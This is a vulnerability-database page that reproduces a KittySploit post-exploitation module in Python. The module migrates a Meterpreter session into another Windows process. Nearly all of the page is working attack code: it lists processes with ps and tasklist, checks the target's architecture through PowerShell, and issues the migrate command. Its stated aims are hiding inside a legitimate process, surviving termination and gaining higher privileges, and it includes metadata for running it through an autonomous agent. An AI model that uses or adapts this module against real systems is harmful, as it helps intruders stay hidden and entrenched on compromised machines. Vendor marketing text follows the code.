Lucene search
+L

Windows Process Migration

🗓️ 28 Jan 2026 23:28:08Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Meterpreter session migration to a different process in Windows.

Refs
Code
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

from kittysploit import *
import re

class Module(Post):
    """Windows Process Migration Module
    
    Migrates the Meterpreter session to a different process.
    This is useful for:
    - Hiding in a legitimate process
    - Escaping from a process that might be terminated
    - Gaining access to a process running with higher privileges
    """
    
    __info__ = {
        "name": "Windows Process Migration",
        "description": "Migrates the Meterpreter session to a different process",
        "author": "KittySploit Team",
        "platform": Platform.WINDOWS,
        "session_type": [SessionType.METERPRETER],
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation'],
        'expected_requests': 2,
        'reversible': False,
        'approval_required': True,
        'produces': ['risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [],
         'consumes_capabilities': ['shell'],
         'option_bindings': {},
         'suggested_followups': []},
    },
    }
    
    def __init__(self):
        super().__init__()
        self.session_id = OptString("", "Session ID", True)
        self.pid = OptInteger(0, "Target Process ID (0 to list processes)", False)
        self.process_name = OptString("", "Target process name (e.g., explorer.exe)", False)
        self.arch = OptChoice("auto", "Target architecture", False, ["auto", "x86", "x64"])
    
    def _get_session_id_value(self) -> str:
        """Return the current session_id option value as a string."""
        try:
            return str(getattr(self, "session_id", "") or "").strip()
        except Exception:
            return ""
    
    def _is_meterpreter_session(self) -> bool:
        """Check if the session is a meterpreter session"""
        session_id_value = self._get_session_id_value()
        if not session_id_value or not self.framework or not hasattr(self.framework, 'session_manager'):
            return False
        
        session = self.framework.session_manager.get_session(session_id_value)
        if session:
            session_type = getattr(session, 'session_type', '') or ''
            return session_type.lower() == SessionType.METERPRETER.value.lower()
        return False
    
    def _execute_cmd(self, command: str) -> str:
        """Execute a meterpreter command"""
        if not command:
            return ""
        
        try:
            output = self.cmd_execute(command)
            return output.strip() if output else ""
        except Exception as e:
            print_warning(f"Command execution failed: {str(e)}")
            return ""
    
    def _list_processes(self) -> list:
        """List running processes"""
        print_info("[*] Enumerating running processes...")
        
        # Use meterpreter ps command if available
        ps_output = self._execute_cmd("ps")
        
        processes = []
        if ps_output:
            # Parse ps output (format may vary)
            lines = ps_output.split('\n')
            for line in lines:
                line = line.strip()
                if not line or 'PID' in line or '---' in line:
                    continue
                
                # Try to extract PID and process name
                # Format might be: "1234  explorer.exe  user  ..."
                parts = line.split()
                if len(parts) >= 2:
                    try:
                        pid = int(parts[0])
                        name = parts[1]
                        processes.append({'pid': pid, 'name': name, 'line': line})
                    except ValueError:
                        continue
        
        # Fallback to tasklist if ps doesn't work
        if not processes:
            print_info("[*] Using tasklist as fallback...")
            tasklist_output = self._execute_cmd("shell tasklist /fo csv /nh")
            if tasklist_output:
                for line in tasklist_output.split('\n'):
                    line = line.strip()
                    if not line:
                        continue
                    # CSV format: "explorer.exe","1234","Session","0","12345 K"
                    try:
                        # Simple parsing - find PID (second quoted field)
                        matches = re.findall(r'"([^"]+)"', line)
                        if len(matches) >= 2:
                            name = matches[0]
                            pid = int(matches[1])
                            processes.append({'pid': pid, 'name': name, 'line': line})
                    except (ValueError, IndexError):
                        continue
        
        return processes
    
    def _get_process_info(self, pid: int) -> dict:
        """Get information about a specific process"""
        print_info(f"[*] Getting information for process {pid}...")
        
        # Use meterpreter getpid to check current PID
        current_pid_output = self._execute_cmd("getpid")
        current_pid = None
        if current_pid_output:
            try:
                # Extract PID from output like "Current pid: 1234"
                pid_match = re.search(r'(\d+)', current_pid_output)
                if pid_match:
                    current_pid = int(pid_match.group(1))
            except ValueError:
                pass
        
        # Get process details
        ps_output = self._execute_cmd("ps")
        process_info = {'pid': pid, 'name': 'unknown', 'arch': 'unknown', 'user': 'unknown'}
        
        if ps_output:
            for line in ps_output.split('\n'):
                if str(pid) in line:
                    parts = line.split()
                    if len(parts) >= 2:
                        process_info['name'] = parts[1]
                    break
        
        # Try to determine architecture
        # Check if process is 64-bit (requires additional checks)
        arch_check = self._execute_cmd(f"shell powershell -Command \"Get-Process -Id {pid} | Select-Object -ExpandProperty Path | ForEach-Object {{ if ([System.IO.File]::Exists($_)) {{ $pe = [System.Reflection.Assembly]::LoadFile($_); if ($pe.ImageRuntimeVersion -like '*64*') {{ Write-Output 'x64' }} else {{ Write-Output 'x86' }} }} }}\"")
        if arch_check and ('x64' in arch_check or 'x86' in arch_check):
            process_info['arch'] = 'x64' if 'x64' in arch_check else 'x86'
        
        return process_info
    
    def _migrate_to_process(self, target_pid: int) -> bool:
        """Migrate to a target process"""
        print_info(f"[*] Attempting to migrate to process {target_pid}...")
        
        # Get current PID
        current_pid_output = self._execute_cmd("getpid")
        current_pid = None
        if current_pid_output:
            try:
                pid_match = re.search(r'(\d+)', current_pid_output)
                if pid_match:
                    current_pid = int(pid_match.group(1))
            except ValueError:
                pass
        
        if current_pid == target_pid:
            print_warning(f"[!] Already running in process {target_pid}")
            return True
        
        # Get process info
        proc_info = self._get_process_info(target_pid)
        print_info(f"[*] Target process: {proc_info['name']} (PID: {target_pid}, Arch: {proc_info['arch']})")
        
        # Use meterpreter migrate command
        migrate_result = self._execute_cmd(f"migrate {target_pid}")
        
        # Check if migration succeeded
        if migrate_result:
            if "successfully" in migrate_result.lower() or "migrated" in migrate_result.lower():
                print_success(f"[+] Successfully migrated to process {target_pid} ({proc_info['name']})")
                
                # Verify new PID
                new_pid_output = self._execute_cmd("getpid")
                if new_pid_output:
                    print_info(f"[*] Current PID: {new_pid_output}")
                
                return True
            elif "error" in migrate_result.lower() or "failed" in migrate_result.lower():
                print_error(f"[!] Migration failed: {migrate_result}")
                return False
            else:
                # Assume success if no error message
                print_success(f"[+] Migration command executed")
                print_info(f"[*] Result: {migrate_result}")
                return True
        else:
            # No output - might be success or might need to check
            print_warning("[!] No output from migrate command")
            print_info("[*] Checking current PID...")
            new_pid_output = self._execute_cmd("getpid")
            if new_pid_output:
                try:
                    pid_match = re.search(r'(\d+)', new_pid_output)
                    if pid_match:
                        new_pid = int(pid_match.group(1))
                        if new_pid == target_pid:
                            print_success(f"[+] Successfully migrated to process {target_pid}")
                            return True
                        else:
                            print_warning(f"[!] Still in process {new_pid}, migration may have failed")
                            return False
                except ValueError:
                    pass
            
            print_warning("[!] Could not verify migration status")
            return False
    
    def _find_process_by_name(self, name: str) -> list:
        """Find processes by name"""
        processes = self._list_processes()
        matching = []
        
        name_lower = name.lower()
        for proc in processes:
            if name_lower in proc['name'].lower():
                matching.append(proc)
        
        return matching
    
    def run(self):
        """Run the migration module"""
        try:
            session_id_value = self._get_session_id_value()
            
            if not session_id_value:
                raise ProcedureError(FailureType.ConfigurationError, "Session ID is required")
            
            if not self._is_meterpreter_session():
                raise ProcedureError(FailureType.ConfigurationError, "This module requires a Meterpreter session")
            
            print_info("")
            print_success("Starting Process Migration Module...")
            print_info("=" * 70)
            
            # Get options
            pid_value = int(self.pid) if self.pid else 0
            process_name_value = str(self.process_name) if self.process_name else ""
            arch_value = str(self.arch) if self.arch else "auto"
            
            target_pid = None
            
            # If PID is 0 or not specified, list processes
            if pid_value == 0 and not process_name_value:
                print_info("[*] No target specified, listing processes...")
                processes = self._list_processes()
                
                if not processes:
                    print_error("[!] Could not enumerate processes")
                    return False
                
                print_info("")
                print_info("Available processes:")
                print_info("-" * 70)
                print_info(f"{'PID':<10} {'Process Name':<30} {'Arch':<10}")
                print_info("-" * 70)
                
                for proc in processes[:50]:  # Show first 50
                    arch = proc.get('arch', 'unknown')
                    print_info(f"{proc['pid']:<10} {proc['name']:<30} {arch:<10}")
                
                if len(processes) > 50:
                    print_info(f"... and {len(processes) - 50} more processes")
                
                print_info("")
                print_info("[*] Use 'set pid <PID>' or 'set process_name <name>' to specify target")
                return False
            
            # Find target process
            if process_name_value:
                print_info(f"[*] Searching for process: {process_name_value}")
                matching = self._find_process_by_name(process_name_value)
                
                if not matching:
                    print_error(f"[!] No process found matching '{process_name_value}'")
                    return False
                
                if len(matching) == 1:
                    target_pid = matching[0]['pid']
                    print_info(f"[*] Found process: {matching[0]['name']} (PID: {target_pid})")
                else:
                    print_info(f"[*] Found {len(matching)} matching processes:")
                    for i, proc in enumerate(matching[:10]):
                        print_info(f"  [{i+1}] PID {proc['pid']}: {proc['name']}")
                    
                    if len(matching) > 10:
                        print_info(f"  ... and {len(matching) - 10} more")
                    
                    # Use first match
                    target_pid = matching[0]['pid']
                    print_info(f"[*] Using first match: PID {target_pid}")
            else:
                target_pid = pid_value
            
            if not target_pid:
                print_error("[!] No target process specified")
                return False
            
            # Verify process exists
            proc_info = self._get_process_info(target_pid)
            if proc_info['name'] == 'unknown':
                print_warning(f"[!] Process {target_pid} may not exist or may not be accessible")
                response = input("[?] Continue anyway? (y/N): ")
                if response.lower() != 'y':
                    return False
            
            # Architecture check
            if arch_value != "auto" and proc_info['arch'] != 'unknown':
                if proc_info['arch'] != arch_value:
                    print_warning(f"[!] Architecture mismatch: target is {proc_info['arch']}, requested {arch_value}")
                    response = input("[?] Continue anyway? (y/N): ")
                    if response.lower() != 'y':
                        return False
            
            # Perform migration
            print_info("=" * 70)
            success = self._migrate_to_process(target_pid)
            
            print_info("=" * 70)
            if success:
                print_success("[+] Process migration completed successfully!")
                print_info("[*] Session is now running in the target process")
            else:
                print_error("[!] Process migration failed")
                print_info("[*] The session may still be active in the original process")
            
            return success
            
        except ProcedureError as e:
            raise e
        except Exception as e:
            raise ProcedureError(FailureType.Unknown, f"Migration error: {str(e)}")

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9
2